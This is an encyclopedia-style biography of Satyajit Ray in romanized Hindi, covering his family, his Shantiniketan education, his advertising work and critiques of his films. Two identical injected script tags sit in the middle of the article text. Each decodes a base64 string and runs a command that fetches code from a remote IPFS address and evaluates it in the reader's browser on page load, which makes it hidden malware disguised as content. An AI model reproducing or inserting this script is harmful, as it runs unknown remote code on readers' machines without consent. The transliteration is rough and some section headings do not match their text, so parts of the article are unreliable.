सत्यजित राय
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satyajit ray
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| poora nam | satyajit 'sukumar' ray |
| any nam | satyajit re, sh aauttojit r aauy |
| janm | 2 mee, 1921 |
| janm bhoomi | kalakatta |
| mrityu | 23 aprॅl, 1992 |
| mrityu sthan | kolakata |
| abhibhavak | pita- sukumar ray mata- suprabha ray |
| pati/patni | bijoya das |
| karm-kshetr | film nirmata-nirdeshak, gitakar, sahityakar aur chitrakar |
| mukhy filmean | pather paanchali, apur sansar, aparajito, jalasa ghar, abhiyan adi. |
| puraskar-upadhi | bharat ratn, padm vibhooshan, dadasahab phalake puraskar |
| prasiddhi | san 1992 mean vishv sinema mean abhootapoorv yogadan ke lie satyajit ray ko manad aauskar av aaurd se alankrit kiya gaya. |
| vishesh yogadan | vishv mean bharatiy filmoan ko nee pahachan dilaee. |
| nagarikata | bharatiy |
| any janakari | filmakar ke alava vah kahanikar, chitrakar aur film alochak bhi the. |
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satyajit ray / satyajit re / sh aauttojit r aauy (aangrezi: Satyajit Ray, janm:2 mee, 1921 - mrityu: 23 aprॅl, 1992) bisavian shatabdi ke vishv ki mahanatam filmi hastiyoan mean se ek the, jinhoanne yatharthavadi dhara ki filmoan ko nee disha dene ke alava sahity, chitrakala jaisi any vidhaoan mean bhi apani pratibha ka parichay diya. satyajit ray pramukh roop se filmoan mean nirdeshak ke roop mean jane jate haian, lekin lekhak aur sahityakar ke roop mean bhi unhoanne ullekhaniy mean khyati arjit ki hai. satyajit ray film nirman se sanbandhit kee kam khud hi karate the. inamean nirdeshan, chhayaankan, patakatha, parshv sangit, kala nirdeshan, sanpadan adi shamil haian. filmakar ke alava vah kahanikar, chitrakar aur film alochak bhi the. satyajit ray kathanak likhane ko nirdeshan ka abhinn aang manate the. satyajit ray ne apane jivan mean 37 filmoan ka nirdeshan kiya, jinamean fichar filmean, vritt chitr aur laghu filmean shamil haian. inaki pahali film 'pather paanchali' ko kan filmotsav mean mile “sarvottam manaviy pralekh” puraskar ko milakar kul gyarah antarrashtriy puraskar mile. vishv mean bharatiy filmoan ko nee pahachan dilane vale satyajit ray bharat ratn (1992) ke atirikt padm shri (1958), padm bhooshan (1965), padm vibhooshan (1976) aur reman maigsese puraskar (1967) se sammanit haian. vishv sinema mean abhootapoorv yogadan ke lie satyajit ray ko manad 'aauskar av aaurd' se alankrit kiya. isake alava unhoanne aur unake kam ne kul 32 rashtriy film puraskar prapt kiye.
vishv sinema ke pitamah mane jane vale mahanh nirdeshak akira kurosava ne ray ke lie kaha tha "satyajit ray ke bina sinema jagat vaisa hi hai jaise sooraj-chaand ke bina asaman"
jivan parichay
apane mata-pita ki ikalauti santan satyajit ray ke pita 'sukumar ray' ki mrityu sanh 1923 mean huee jab satyajit ray mushkil se do varsh ke the. unaka palan-poshan unaki maan 'suprabha ray' ne apane bhaee ke ghar mean mamere bhaee-bahanoan, mama-mamiyoan vale ek bhare-poore aur phaile hue kunabe ke bich kiya. unaki maan jo lanbe sadhe vyaktitv ki svamini thian, left|150px|bal satyajit ray|thumb vo ravindr sangit ki manji huee gayika thian aur unaki avaz kafi damadar thi. satyajit ray ke dadaji 'upendrakishor ray' ek lekhak evan chitrakar the aur inake pitaji bhi baangla mean bachchoan ke lie rochak kavitaean likhate the aur vah ek chitrakar bhi the. yah parivar aparihary roop se taigor gharane ke najadik tha. presideansi k aaulej kalakatta se snatak hone ke bad ray peantiang ke adhyayan ke lie jisamean ve praranbhik avastha mean hi apani yogyata pradarshit kar chuke the, ravindranath taigor dvara sthapit ravindr bharati vishvavidyalay, shaantiniketan chale ge.
shaantiniketan mean shiksha
us samay par shaantiniketan sahity aur kala ki nayi bharatiy chetana ke keandr ke roop mean n keval desh mean balki vishv bhar mean charchit tha. ravindranath taigor ke prati akarshan samooche bharat se chhatr aur adhyapakoan ko yahaan khianch lata tha. any deshoan se bhi chhatr yahaan ate the aur is tarah ek aisi nayi bharatiy sanskriti ke vikas ki paristhitiyaan nirmit ho rahi thian jo apani svayan ki paranparaoan par adharit thian. shaantiniketan mean satyajit ray ne nandalal bos aur vinod bihari mukhopadhyay jaise siddhahast kalakaroan se shiksha prapt ki, jin par bad mean unhoanne ‘inar aee’ film bhi banaee.
pres aur prakashan sansthan
san 1942 mean madhy bharat ke kala smarakoan ke bhraman ke bad ray ne shaantiniketan chho d diya. shighr hi unhean ek british vijnapan ejeansi 'di .je. kemar eand kanpani' mean vanijyik kalakar (kamarshiyal artist) ke roop mean rozagar mil gaya jahaan kam karate hue unhoanne pustakoan ke avaran prishthoan ki saj sajja (dijainiang) aur rekhaankan kary paryapt matra mean kiya. yah kam unhoanne bharatiy pustak prakashan ke kshetr mean ne manak sthapit karane vale agrani prakashan sansthan 'sainet pres' ke lie kiya. jin pustakoan ka unhoanne rekhaankan kiya unamean se ek 'vibhooti bhooshan bandyopadhyay' ki pather paanchali ka sankshipt sanskaran bhi tha.
sinema mean ruchi aur prashikshan
thumb|yuvavastha mean satyajit ray is samay tak, filmoan mean unaki ruchi paryapt roop se ujagar ho chuki thi. sanh 1947 mean unhoanne any logoan ke sath 'kalakatta film sosayati' ki sthapana ki aur bharatiy sinema ki samasyaoan tatha sinema kis tarah ka chahie, vishay par lekh likhe. kalakatta film sosayati ne b di sankhya mean sine premiyoan ko jutaya jinamean se kuchh pramukh film nirmata bane. ray ki pahal ne n keval unhean film shikshan pradan kiya balki any ko bhi filmi shiksha pradan ki, kyoanki kalakatta film sosayati ne vishv sinema ki bahut si aisi pramukh kritiyoan ka pradarshan kiya jo isase poorv bharat mean kabhi nahian dikhaee gee thian.
videsh mean prashikshan
san 1950 mean unake niyoktaoan ne unhean agrim prashikshan ke lie landan bheja. yah unaki liandse eandarsan aur gavin lambart se mitrata huee aur unhoanne apane sadhe char mah ke pravas ke dauran lagabhag sau filmean dekhian jinamean baisikil thivas tatha any italavi nav-yatharthavadi filmean shamil thian, jinhoanne satyajit ray ke oopar gahara prabhav chho da. jalayan dvara bharat vapas lautate samay hi unhoanne pather paanchali ki patakatha likhana shuroo kiya. sanh 1952 mean bharat ke pahale aantarrashtriy film mahotsav ka ayojan hua jisamean unhoanne ek bar phir italavi nav-yatharthavadi filmoan se sakshatkar kiya. sath hi japan sahit any deshoan ki filmoan bhi unhoanne dekhian.
- praranbhik prashikshan h aaulivud filmoan se
satyajit ray ka sinema ka praranbhik prashikshan h aaulivud filmoan ke adhyayan ke roop mean hua- vastav mean azadi se poorv ve ye hi filmean dekh sakate the. jaisa ki unhoanne bar-bar kaha- unhoanne film nirman mukhyat: amariki filmoan ko bar-bar dekhakar sikha. tarkik aur (kam se kam satah par) yatharthavadi varnan ki h aaulivud shaili ne unake oopar gahara prabhav chho da.
- pather paanchali ki saphalata
thumb|left|film 'pather paanchali' ka ek drishy
pather paanchali ki nirvivad saphalata ke bad hi hua ki satyajit ray ne, jinhean film nirman ke dauran kuchh mahinoan ki chhutti savetan pradan ki gee thi, aantat: di.je. kemar eand kanpani ki apani naukari chho d di. vijnapan mean unaki ruchi poori tarah kabhi bhi samapt nahian huee, apani prathamik filmoan ke lie prachar samagri khud hi taiyar karane ke alava ve kee varshoan tak kleriyan edavarataijiang sarvisej (di.je. kemar ke uttaradhikari, aur karmachariyoan ke svamitv vali) ke ek nideshak ke roop mean kary karate rahe. yahaan unake kee purane sathi abhi kary karate haian.
pather paanchali ke bad ray aksar kaha karate the ki unhoanne film nirman filmean dekhakar sikha. jo batean filmean nahian sikha paeean ve unhoanne kam ke dauran sikhian. yadyapi 'pather paanchali' ko sanh 1956 mean kens mean ek puraskar diya gaya tha, par vastav mean sanh 1957 mean 'venis mahotsav' mean 'aparajito' ko mila graand prais puraskar hi tha jo pather paanchali ko aantarrashtriy alok mean laya. nyooyark mean pather paanchali sitanbar sanh 1958 se pahale pradarshit (riliz) nahian ho paee.
film kritiyoan ka sajiv varnan
apani kary yatra ke adhobiandu tak pahuanchane se poorv satyajit ray ne nayak (1966) ka nirman kiya, isaki kahani svayan unhoanne likhi thi aur isamean nayak ke roop mean bangal ke pratibhashali sine abhineta uttam kumar ko liya gaya tha. kanchanajangha ki tarah ve ek bar phir shreshth sammiti poorn kase hue aur vargakar dhaanche ka nirman karate haian. film ka samoocha abhinay nayak ka apani ek bhoomika ke lie puraskar lene jane ki dilli ki ek rat ki rel yatra ke daurana ghatit hota hai. uttam kumar jo samuchit bauddhikata, vinamrata aur lokapriyata vale abhineta haian, ek tarah se svayan apane apako hi abhinit kar rahe haian. sharmila taigor jo bad mean akhil bharatiy hindi filmoan ki ek b di star bani, yahaan ek patrakar ki bhoomika mean hai jo usi relaga di mean yatra kar rahi hai aur film abhineta ka sakshatkar leti hai.
aparajito (1956)
thumb|film 'aparajito' ka ek drishy|250px aparajito mean apani poorvavarti film ke tatvik gun nahian haian, n isaki sanrachana ise vaisi hi santoshakari poorn kriti bana pati hai. yah film apekshakrit tin bhagoan mean bant jati hai, sanrachanatmak roop se aparajito mukhyat: pather paanchali aur 'apur sansar' ke bich pul ke roop mean arthapoorn hai. svayan apane ap mean yah paryapt santulit nahian hai, banaras jivant ho uthata hai apani darshanik gaharaee aur bhavanatmak pratyakshata mean aparajito ray ki filmoan mean asadharan hai, khasataur par banaras ke drishyoan mean.
apur sansar (1959)
satyajit ray ke sanrachanatmak dridhata ke gun ki or vapas mu dati hai aur aparajito ki drishtikon ki shuddhata ko jari rakhati hai aur usase age bhi pahuanchati haian film ek aise dridh prakritik tark ke sath age badhati hai jo isake kavy ko poori tarah auchityapoorn thaharata hai, svayan ghatanaoan mean se ubharata hua jaisa ki vah hai n ki ghatanaoan ke oopar film nirmata dvara thopa hua.
jalasa ghar (1958)
vastavik marmikata ka khoobasoorat ahvan. film donoan hi kam karati hai, unaki kshamataoan ka vikas karati hai aur unhean unaki pahali do filmoan ke nav yatharthavadi dayaroan se bahar bhi le jati hai. jalasa ghar yatharth parak mukhyat: lokeshan sh aaut vali tatha gair peshevaroan dvara abhinit film hai. jalasa ghar mean unhoanne stoodiyoan ke parivesh ko adhik mahattv diya aur bangali sinema ki ek b di hasti chhavi vishvas ko nirdeshit kiya. yahaan ve vishraanti aur nav yatharthavad ki manyataoan ko chho dakar vaiyaktik charitr aur paristhiti ke prati unake sammohan ke adhik nikat ae. thumb|left|film 'apur sansar' ka ek drishy jalasa ghar aur paras patthar donoan mean apani pahali do filmoan ke viparit satyajit ray adhikadhik sanbhavit bhinn-bhinn vastuoan ko sadhane ki koshish karate haian. vah nirdhanata ke shokakul nav yatharthavadi itihasakar ke roop mean svayan ko roodh karane se iankar kar dete haian. phir bhi jalasa ghar usi tarah se samajik parivartan ki ek kahani hai jaise ki trayi ki pahali do filmean haian, aur ek nirdhan vyakti ki tarah hi paras patthar ka klark bhi hamari sahanubhooti jit leta hai.
devi
film devi ne roodhivadiyoan mean apane prati kuchh virodh paida kiya aur sath hi udarapanthiyoan ko bhi vichalit kiya, par yah film ‘pragati’ ka paksh nahian leti. sanh 1960 ka varsh ravindranath taigor ka janm shatabdi varsh tha. satyajit ray ne isako ek fichar film aur ek dirgh vrittachitr ke sath manaya. yah us vyakti ke pati ek shraddhaanjali thi jo bharatiyoan, vishesh roop se bangaliyoan ki kuchh pidhiyoan ka path-pradarthak raha tha. b di sankhya mean likhi gee taigor ki kahaniyoan mean se bahut-si kahaniyaan utkrisht shilpabaddh haian, phir bhi unamean sahajata, manavata hai jo unhean ek vishal pathak varg mean lokapriy bana deti hai.
post mastar
post mastar mean satyajit ray ek bar phir apane roop mean dikhaee dete haian. chalis minat ki yah film apane sankshipt lekin kushalata se shilpabaddh kie ge apane roopakar ke bhitar manaviy garima se aplavit hai.
kanchanajangha (1962)
satyajit ray ki pahali rangin film thi, jo unaki apani kahani par adharit thi aur is drishti se bhi pahali ki isamean tatkalin samaj ko sadha gaya tha. paras patthar mean kalakatta ke jivan ki jhalakiyaan haian lekin yatharth aur phaiantesi ka mishran ise kinare kar deta hai, aur use tatkalin samajik riti-rivajoan par tippani ke roop mean mushkil se hi vyakhyayit kiya ja sakata hai. lekin paras patthar ke kuchh drishyoan ki tarah kanchanajangha mean bhi samaj ke vibhinn vargoan ke bich ki, bhale hi yah saumy kyoan n ho, takarahat ko ujagar kiya gaya hai.
abhiyan (1962)
thumb|film 'mahanagar' ka ek drishy|250px
satyajit ray ke kairiyar mean ek aise vichalan ka pratinidhitv karati hai jisaki vyakhya isi roop mean ki ja sakati hai ki satyajit ray jis kam ke lie prashansit hote haian, kuchh samay bad ve us kam ki simaoan ko to dakar bahar ana chahate haian aur kisi ne aur aprachalit par hath azamana chahate haian, taiksi draivaroan, taskaroan aur rakhail auratoan ki duniya ray ke madhyavargiy anubhav se utani hi door hai jitani ki koee bhi vastu ho sakati hai.
satyajit ray ki agali tin filmoan- mahanagar (1963), charulata (1964) aur laghu fichar film kapurush (1965)- mean aurat ke prati ek naya bodh dikhaee deta hai, purush ki parachhaeean ke roop mean nahian balki usaki apani nijata ke roop mean. mahanagar mean pahali bar aisa hota hai ki ham aisi aurat ko samane pate haian jo apani svayan ki ziandagi ki disha nirdharit karane ki sanbhavanaoan ke prati jagarook hai. vishishtata yah hai ki jagriti ka yah sparsh pati ki or se ata hai, kyoanki paranparik roop se purush svatantr hai thik usi tarah jaise ki ve striyoan ko gulam banae hue haian. satyajit ray ka vishleshanatmak tariqa aur kam shabdoan tatha satikata ke sath manasik ghatana ko abhivyakt karane ki unaki kshamata charulata mean apane shikhar par pahuanchati hai. unaka tariqa is kathan ko uchit thaharata hai ki bharatiy paranpara mean sajja aur abhivyakti do alag alag vastuean n hokar ek haian. unaka shilp vivaran ki aisi utkrishtata tak pahuanchata hai jo kaushal ko kala mean, matra ko gun mean aur sajja ko bhavanatmak abhivyakti mean badal deta hai. charulata mean jo poori dosharahit hai, kuchh aise mahattvapoorn drishy bhi haian jinaka ullekh kiya jana chahie. charu ke akelepan ko darshane vala praranbhik drishy shabdarahit charitr chitran ka utkrisht udaharan hai jisaki tulana jalasa ghar ke drishy se ki ja sakati hai.
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chitr:Blockquote-open.gif
sinema vah madhyam hai jo bharatiy sangit ki tulana mean pashchimi sangit ke adhik nikat hai kyoanki bharatiy paranpara mean aparivartaniy samay ki avadharana maujood nahian hai- vahaan ‘sanyojan’ rachana nahian hai- avadhi parivartaniy hai aur sangitakar ki man sthiti par nirbhar karati hai. lekin sinema samayabaddh sanyojan hai. yahi karan hai ki maian mahasoos karata hooan ki pashchimi roopoan ki meri janakari mere lie ek suvidha ke bataur rahi hai. ek labh yah hai ki ‘sonata ka roopakar ek natakiy roopakar hai jisake sath vikas (devalapameant), kathy aur lay ki punaravritti (rikepituleshan), aur ‘koda’ (ek vishesh sangit rachana se ju de hue) sianphani ya sonata jaisi sangit vidhaoan ne meri filmoan ki sanrachana ko kafi prabhavit kiya hai.
chitr:Blockquote-close.gif - satyajit ray
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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>yahaan is drishy ko ek doorabin (opera glas) ki vikasit takanik dvara sanpann kiya gaya hai. film ka jhoole ka drishy film ka sarvadhik prabhavashali drishy hai aur renevaan jaise prakash chhaya chitran se raushan hai, is drishy ko sookshmata se tarasha gaya hai jahaan har bar kshanaansh ke lie charu ka pair zamin ka sparsh karata hai taki jhoole ki gati ko atirikt bal diya ja sake. phir vah kshan hai jab charu jhoole ki gati ko dhima karati hai apani doorabin amal par sthir karati hai aur, syah hote chehare ke sath, anubhav karati hai ki vah usase prem karane lagi hai. satyajit ray ki shabdarahit sanpreshan ki shaili mean yah ek b di upalabdhi hai, bachapan ke dinoan ko usake smrit karane ke lanbe drishyoan mean, jisamean ek khoobasoorat lay hai jise jhoole ke mandadolan ke sath us nav ke dolan ko milakar gadha gaya hai jisaka pal kushalata se taiyar kiya gaya hai aur jisamean usaka chehara dhire se vilin ho jata hai. yah ek layatmak sthanaantaran hai jo hamean charu ki us man:sthiti ke samaantar kh da kar deta hai jisamean vah atit ki lalak se bhari huee hai aur jis bare mean vah likhana chahati hai. varnan ka yah shreshth gun hi ray ki film ko sadharan roop rekha ke sath kahi gee kahani se sauandary ki drishti se oopar utha deta hai.
'nayak' aur 'kanchanajangha'
nayak aur kanchanajangha mean gahari samanata hai. paha d ki bhavyata ko filmi nayak ki bhavyata se sthanaantarit kiya gaya hai. film ke patroan ki drishti se aur darshakoan ki drishti se filmi abhineta ko vaisi hi pratishtha prapt hai jaisi ki kanchanajangha mean. sthan darjiliang ki jagah relaga di, donoan hi sthan patroan ko niyamit dainik jivan se katate haian aur sankshipt avadhi ke lie unhean ek sath kar dete haian. dainik jivan se alagav donoan hi mamaloan mean unaki niji samasyaoan ko satah par lane mean madad karata hai. rang aur nirantar parivartit prakash ke sthan par yahaan relaga di ki sthayi gati hai. isaka atirikt pahaloo isaki badalati dhvaniyaan haian.
chi diyakhana (1967)
thumb|film 'chi diyakhana' ka ek drishy|250px mahapurush ke sath-sath, chi diyakhana (1967) aisi film hai jise ray ki kriti ke roop mean svikar karana kisi ke lie bhi kathin ho sakata hai. isako ray ke ek sahayak dvara nirdeshit kiya jana tha lekin nirmata ke dabav ke karan satyajit ray ko svayan ise apane hath mean lena p da tha. ek drishy ko chho dakar jaisa ki pahale kaha gaya hai, samoochi film ek samany ausat bangali film ke star par chalati hai, yadi nayak mean isake khoobasoorat shilp aur manaviy pahaluoan ke pichhe samany stariyata hai to isake bad ane vali film inase bhi vanchit hai. ek shatabdi se bhi adhik tak phaile kalakhand mean ae samajik parivartan ke ve mahanh itihasakar the. unhoanne ise sanpoornata mean dekha kyoanki yah dekhana ek fasale se tha. lekin is fasale ne unhean vastuoan ki tatkalik vastavikata khasataur se tatkalin samaj ki vastavikata se door rakha. svayan apane likhe hue ka uddharan (sait eand sauand, viantar 1966-67)- jalati huee tramoan, saanpradayik dangoan, berozagari, badhati huee kimatoan, khady ki kami vala kalakatta ray ki filmoan mean maujood nahian hai, halaanki ray is shahar mean rah rahe hote haian lekin unake aur ‘pi da ka kavy’ ke bich jo ki pichhale das varshoan se baangla sahity par chhaya hua hai, koee sanbandh nahian hai. jaise jaise vaqt gujarata gaya ray ke prati yah shikayat ek phusaphusahat ke star se badhakar karn katu shor mean badal gayi.
kapurush aur mahapurush
kapurush un poorv filmoan ki kamazor punaravritti hai jinaka aant apani svatantrata ki khoj mean badhit aur ahat tatha apekshakrit adhik buddhiman aurat dvara apane svachchhandatavadi premi ke asvikar mean hota hai. nayi ubharati aurat ki vishayavastu vali shriankhala ke ek bhag ke roop mean hi kapurush ka mahattv nihit hai. kapurush ke lagabhag katutapoorn aant ke bad bhi mahapurush (film ke doosare bhag ki kahani) ki adhamani aur anupayukt khar masti ko svikar karana kathin hai. satyajit ray ka vyangy hamesha prabhavakari hota hai lekin unaki vinodapriyata mean unake pita ki us pratibha ka abhav dikhata hai jisamean ve mauj masti aur moorkhata, asangati, katuta aur vidroopata ka anandadayi mishran taiyar kar diya karate the. 'kapurush aur mahapurush' ko mahattvahin manakar nakar diya gaya. nayak b aauks afis par saphal nahian huee aur chi diyakhana tippani ke yogy nahian mani gayi. bangal tatha any sthanoan ke kuchh samoohoan ne rritvik ghatak ke kam mean adhik jivant samasamayikata ko dekhana shuroo kar diya.
thumb|film 'aguantak' ka ek drishy|left
ghatak ki ajaantrik (1958)
apane bahut hi (abhiyan ke draivar ki tulana mean) vishvaniy taiksi draivar ke sath, meghe dhaka tara (1960) poorvi pakistan se ae sharanarthiyoan ke jivan ki tikhi tasvir aur aant mean ‘maian jina chahata hooan’ ki ooanchi avaz ke sath aur aantat: svarn rekha (1965) ne apani prabal spashtata aur patit kraantikariyoan ki tikhi vidanbana ke sath, baangla manas par gahara prabhav chho da. jab ray ki prerana dhimi ho rahi thi tab ghatak ko bangali sinema ke vastavik bhavishy ka pratinidhitv karane vale kahian adhik mahanh vyaktitv ke roop mean sthapit karane ke zoradar dave kie ge. videshoan mean ghatak ki pahachan bahut kam thi jabaki ray apani poorv filmoan ke bal par, bharat ki tulana mean kahian adhik videshoan mean qad ooancha bana rahe the.
bhuvan shom (1969)
mrinal sen bhuvan shom (1969) hindi mean, ke sath akhil bharatiy paridrishy par roshani mean ae. unake nav-phraansisi sinema ke prati lagav ne aantat: ek aisi shaili ka vikas kiya jo satyajit ray ki shaili se bhinn thi. in sab ne ray ko kitana prabhavit kiya yah kahana kathin hai aur isaka anuman lagana nirarthak hai. isaka parinam gopi gayane bagha bayane (1968) ke nirman mean hua. yah upendr kishor ray chaudhari dvara likhit manoranjak fantasi par adharit thi. bachchoan ki duniya mean ve mooly, jo satyajit ray ne taigoravadi adarshoan se bani pahale ki duniya se prapt kie the, poori tarah samapt nahian hue the. satyajit ray ki bal filmoan mean vah nirdoshita aur apane hone ka vah shreshth bhav hai jo unaki praranbhik vayask filmoan mean tha. atm sajagata ka bhav pray: apu aur paresh baboo, vishvanbhar ray aur kali kiankar ray, arati aur charulata mean saman roop se maujood pravritti hai. ve sab bachchoan aur janavaroan ki tarah apane ap mean tallin haian, poori tarah apane apane bhagy vidhanoan se ju de rahe. bachchoan ki filmoan mean manushyetar jo bhi prani milate haian ve pari katha roop mean milate haian, ray ki in filmoan mean anand ki ek gopan anubhooti chhipi rahati hai. inamean maujartavadi sangit ka gun hai jahaan bachche buraee se prabhavit nahian hote, vahaan agar badal haian to isalie ki unamean se chamakata hua soory bahar a sake.
athavaan dashak
[[chitr:Sadgati-om-puri-and-smita-patil.jpg|thumb|250px|film 'sadgati' ke ek drishy mean om puri aur smita patil]] jab tak satyajit ray ne vayask duniya mean nayi samajh aur nayi pahachan shuroo ki tab tak athavaan dashak shuroo ho chuka tha. sanh 1969 mean jab aranyer dinaratri banaee gee, bangal ka vayask vishv lapatoan se ghir chuka tha. ‘jalati tramoan vala kalakatta’ jo satyajit ray ki filmoan mean kabhi nahian dekha gaya, ek agnipuanj mean badal chuka tha. har roz hatyaean ho rahi thian, desi bam aur bandookean am drishy aur dhvaniyoan ke hisse ban ge the, yuvakoan ka tikha asantosh naksalavadi aandolan mean ubhar raha tha jisamean bahut se pratibhavan vishvavidyalayin yuvak shamil ho ge the. n keval is nayi parighatana ko hi balki punarjagaran ke avashisht gaurav ko pichhe chho d aee thi aur unhean lekar adhir hone lagi thi. lekin zimmedari ka path aranyer dinaratri ke manoranjan ka sabase chhota aansh hai. charulata se har tariqe se bhinn hone ke bavajood is film mean sanrachana aur sangitatmak lay mean vaisi hi paripoornata hai. isamean vaisi hi gitatmakata, punaravrittiyoan aur anugooanjoan ka vaividhy aur vaisi hi svaranukram ki satikata maujood hai. film ka roop anek prakar se jyaan renevaan ki film ‘rools aph d gems’ ki yad dilata hai. bharatiy khasataur par bangali buddhijiviyoan ki drishti mean vishayavastu svayan ko vidhan se asani se alag kar leti hai, bharatiy buddhijivi sanrachana aur vivaran ke avalokan ko vishayavastu ki tarah hi kala ke avashyak tattv ke roop mean mushkil se hi dekh pata hai. bargamain ki d seven sil ko vah pasand karata hai aur smail af e samar nait ke jaduee akarshan ko vah mahasoos nahian kar pata. jab aranyer dinaratri ko pahale pahal pradarshit kiya gaya tha to ise bahut logoan ne atisamany batakar kharij kar diya tha. pray: ray ke darshak hi adhik sahityik siddh hote haian, unaki is film mean charan dar charan nirmiti itani paripoorn hai jitani ki charulata mean thi. isaki lay mean adhik vaividhy hai, is patr ke pas sanchalan ki apani gati aur shaili hai jo is gut ki laparavah tatha alag alag pravritti, aantarik dayitv bodh ki kami ko ujagar karati hai. patroan ki ye bhinnaean un gunoan ke bavajood haian jo unamean saman roop mean maujood haian.
samakalin vastavikata se sakshatkar
thumb|250px|film 'ghare bayare' ka ek drishy
satyajit ray ki peshevar ziandagi mean pratidvandvi kee mayanoan mean pratham muqam hai. pahali dafa is film mean ve us takanik ka prayog karate haian jise ve kabhi mrinal sen ke sath hue ek tikhe sarvajanik vivad mean chaloo lataka kahakar kharij kar chuke the. kahani ek nakar se shuroo hoti hai, nakar se hi anek bianduoan ko pak dati haian, khasakar us drishy mean yah nakar apani parakashtha par hai jahaan nars veshya apani kanchuki kholane ko udyat dikhaee p dati hai. bich bich mean siddharth ki medikal shiksha ki chhaviyaan achanak aur sankshipt roop mean dikhati haian udaharan ke lie jab sugathit kaya vali ek ladaki gali se gujarati hai to parde par ‘stri vakshasthal’ ka dayagram ubharata hai jisaki takaniki vyakhya ek shikshak kar raha hota hai. phir kalpanik kamanapoorti ke drishyoan ki jhaankiyaan bhi haian, jaise ek drishy mean siddharth dvara apani bahan ke b aaus ko pitate hue dikhaya jata hai. yahaan aisa lagata hai mano ray yah siddh karane ke lie kritasankalp hoan ki agar latakoan-jhatakoan ki bat hai, to unake prayog mean bhi ve utane hi siddhahast haian jitane ki doosare ya sanbhavat: unase behatar.
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satyajit ray ka priy leans 40 em.em. tha jo samany manaviy drishti ke sarvadhik anukool hota hai. ve atyadhik nikatavarti shat aur atyadhik dirghakon (vaid aiangil) se bachane ki pravritti rakhate the, unake vichar se ye donoan hi ek prakar ke uddipak the, ek ekaant ka atikraman karata hua aur doosara pariprekshy ko banavati banata hua.
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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> satyajit ray ki doosari mahattvapoorn kriti shaantiniketan ke apane poorv shikshak-chitrakar vinod bihari mukhopadhyay par bana vrittapoorn hai. drishti kho dene ke bad bhi shri mukhopadhyay sakriy chitrakari mean lage rahe the. bis minat ke is vrittachitr di inar ai (1972) mean ray ne chitrakar ke jivan aur kritiyoan ke bare mean tathyaparak janakari apani vishisht shaili mean di hai. yahaan chitrakar ke netrahin hone ke sath vyarth ki bhavukata kahian bhi nahian dikhati. natijatan, tathyoan ki bariq prastuti tab atyant marmik ho uthati hai jab chitrakar ko ham usake aandhepan ke daur mean pate haian aur dekhate haian ki kaise yah netrahin chitrakar ghar ke ird-gird ghoom leta hai, kaise bina kisi ki sahayata ke apane lie chay bana leta hai adi adi.
hindi film
satyajit ray varshoan tak hindi mean film banane ke prastavoan ki anasuni karate rahe. hindi bhasha ki unhean koee janakari nahian thi aur isilie ve janate the ki bhasha ki yah gairajanakari film-nirman ki unaki niji shaili ko ras nahian aegi. abhi tak unaki filmoan mean ek bhi sanvad nahian tha, jise unhoanne khud n likha ho. lekin 'shataranj ke khila di' mean ve aisa nahian kar sake. aanshat: rangin madhyam mean kam karane ki zaroorat se to shayad aanshat us vishisht kalavadhi aur paridrishy ki vyapakata ke akarshan se anupranit hokar ray ne n keval hindi varanh vajid ali shah ke jamane ki shisht urdoo mean film banana svikar kiya. thumb|film 'shataranj ke khila di' ka ek drishy|250px muanshi premachand ki yah mashahoor kahani apane kalevar mean atyant sankshipt hai. kahani ek mahattvapoorn virodhabhas ka mahaj rekhaankan karati hai ki kaise, tab aangrezoan dvara lakhanoo padadalit kiya ja raha tha, do navaboan ne shataranj ke khel mean apani poori ziandagi khapa di. bhasha ki janakari nahian hone ka hi natija tha ki satyajit ray ko is film mean doosaroan ki sahayata leni p di, tathapi unhoanne is film mean khyatilabdh aur nipun kalakaroan ko hi bhoomikaean sauanpi thian. navab ki bhoomika mean amajad khan jo ki samakalin lokapriy hindi filmoan ke thappedar khalanayak ke roop mean mashahoor the tatha jinase darshak snehit ghrina karate the, khase umda lage. donoan navaboan ki bhoomikaoan mean jinhean kramash: sanjiv kumar tatha seed jafari ne nibhaya hai, bhi abhinay ki drishti se utkrisht haian. phir bhi jafari ke abhinay mean lakhanoo ki shisht vakpatuta tatha sanskar (parishkaran) ki zyada sachchi abhivyakti huee hai. halaanki yah satyajit ray ki kisi bhi any film se zyada bajat ki film thi jisamean hindi filmoan ke ati lokapriy sitaroan ne bhoomikaean ki thian, phir bhi kalakatta ko chho dakar jahaan isane kamobesh achchha vyavasay diya tha, shataranj ke khila di kahian bhi ekamusht b de mane par riliz nahian ho paee. dher sari alochanaean bhi milian, khasakar un logoan ki jo vajid ali shah ko ‘bharat ka aantim svayatt shasak’ ke roop mean mahimamandit hote dekhana chahate the. is vishay par ek sakshatkar ke dauran apani ray zahir karate hue satyajit ray ne kaha tha:
bahut hi sanbhav hai ki avadh ke atikraman ki ghatana koee aisa chitran kare jisamean vajid ali shah ka mahimamandan ho tatha ataraim ki bhartsana. aise chitran se, zahir hai, film ki lokapriyata mean svat: izafa ho jata. meri film is ayatharthavadi chitran se mukt hai. yah film us pravritti ko bhi hatotsahit karati hai jo samantavad aur upaniveshavad ke prati mayoos kiantu ‘svikrit prakriya’ ke roop mean aksar unaki kamiyoan ko nazaraandaj kar deti hai ya phir unaki buraiyoan ko samajhane ke sath-sath unake charitroan mean khas manaviy pravrittiyaan dekhane ka agrah karati hai. in manaviy pravrittiyoan ka anveshan nahian kiya jata, balki aitihasik sakshy se unhean pusht kiya jata hai. maian janata tha ki aise chitran se manovritti ka dvaidh paida hoga tathapi shataranj ke khila di ko maian aisi kahani nahian manata jisamean asani se kisi ek paksh ka himayati bana ja sake. yah kahani mere lie vicharottejak zyada hai jisamean do sanskritiyoan ki takarahat hai- ek nishpran aur aprabhavi sanskriti hai to doosari amangalakari kiantu oorjvasit. in do dhur chhoroan ki un arddh arthachchhayaoan ko bhi pak dane ki koshish ki hai jo in donoan chhoroan ke bich jhalakati haian.
shataranj ke khila di
